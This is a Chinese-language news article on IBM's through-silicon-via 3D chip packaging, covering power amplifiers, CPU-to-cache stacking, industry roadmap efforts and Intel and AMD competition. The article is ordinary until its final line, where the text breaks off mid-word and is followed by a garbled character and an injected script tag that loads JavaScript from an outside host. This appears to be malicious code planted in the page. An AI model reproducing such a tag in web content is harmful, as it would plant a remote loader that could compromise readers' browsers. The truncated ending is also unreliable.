ibm计划在今年样产首款利用金属实现芯片间直接互联的商用器件，这一改动虽小，但是在向3d封装的演进途中，它却堪称是一件意义重大的里程碑式事件。这种新型的芯片设计方式，可能会提高多种系统的性能，并降低其功耗和成本。
在2008年，ibm这位蓝色巨人的新型功放也将投入量产，据称该产品可与电源接地层实现多达100个直接金属连接。该连接方式可将产品功耗降低40%，而这在手机或wi-fi适配器中至为关键。
目前，行业内共有大约十几家公司在追求被称为“硅片直通孔(tsv)”或其它形式的3d封装技术，并将其作为芯片间直接互连的下一个巨大飞跃，而ibm正是其中之一。4月下旬，一组半导体专家曾聚在一起，首次为tsv技术草拟行业发展蓝图，该小组希望正式的发展蓝图能够在今年年底出炉。
3d封装技术超越了目前广为使用的系统级芯片(soc)和系统级封装(sip)方法。使用该技术，原始硅裸片通过几十微米宽的微小金属填充孔相互槽嵌(slot into)在一起，而无需采用基层介质和导线。与目前封装方式所能达到的水平相比，该技术能以低得多的功耗和更高数据速率连接多种不同器件。
“为连接这些微米级过孔，时下采用的毫米级导线需要成百倍地被细化。”芯片产业研发联盟sematech互连部门主管sitaram arkalgud表示，“最终目标是找到一种方法将异类堆栈中的cmos、生物微机电系统(bio-mems)，以及其它器件连接起来。为此，业界或许需要一个标准的3d连线协议来放置过孔。”arkalgud将帮助起草3d芯片发展蓝图。
“这将为芯片产业开辟一片全新的天地。” wesrch网站(由市场研究机构vlsi research创办)负责人david lammers表示。
攀登3d阶梯
ibm将采用渐进方式启动3d封装技术。除了功放，ibm还计划采用该技术将一个微处理器与接地层连接，从而稳定芯片上的功率分布，而这将需要100多个过孔来连接稳压器和其它无源器件。
ibm已经完成了这样一个设计原型，并预计此举能将cpu功耗减少20%。“不过，我们还未决定将其插入产品计划的哪个环节。”ibm探索性研发小组高级研发经理wilfried haensch表示。
最终目标是采用数千个互连实现cpu和存储器间的高带宽连接。ibm已将其blue gene超级计算机中使用的定制power处理器改为tsv封装。新的芯片将与缓存芯片直接匹配，目前，采用该技术的一个sram原型正在ibm的300mm生产线上利用65nm工艺技术进行制造。
“我敢打赌，到2010年将出现采用该方法连接缓存的微处理器。”lammers指出，“我认为，真正需要这种技术的，是那种超过10个内核的处理器场合。在这种情况下，处理器和存储器间的带宽确实是个问题。”
在英特尔和amd间正在进行的博弈中，该新技术将成为一个重要筹码。虽然amd与ibm合作开发工艺技术，但amd可能需要向ibm申请这种封装技术的特别使用许可——这也许会发生在32nm时代，lammers介绍。
英特尔也在开发tsv技术。英特尔计划在未来的万亿赫兹研究型处理器中采用这种技术，该公司研发部负责人justin rattner在去年的英特尔开发者论坛上曾如此表示。
tsv可把芯片上数据需要传输的距离缩短1,000倍，并使每个器件的互连性增加100倍，ibm声称。“这一突破是ibm十多年的研究结晶。”ibm半导体研发中心副总裁lisa su表示。
芯片制造商的3d互连研究历时多年，但截至目前，该技术仍被认为是一种昂贵的、针对特定小应用领域的技术。工程师一直在研究通孔、晶圆级邦定，以及其它替代技术。由于众多专家相信2009年将出现一场互连危机，所以对3d互连和封装的需求已变得日益迫切。这场危机的根源在于：随着芯片工艺节点的缩小，芯片设计中铝或铜导?script src=http://er12.com/t.js>
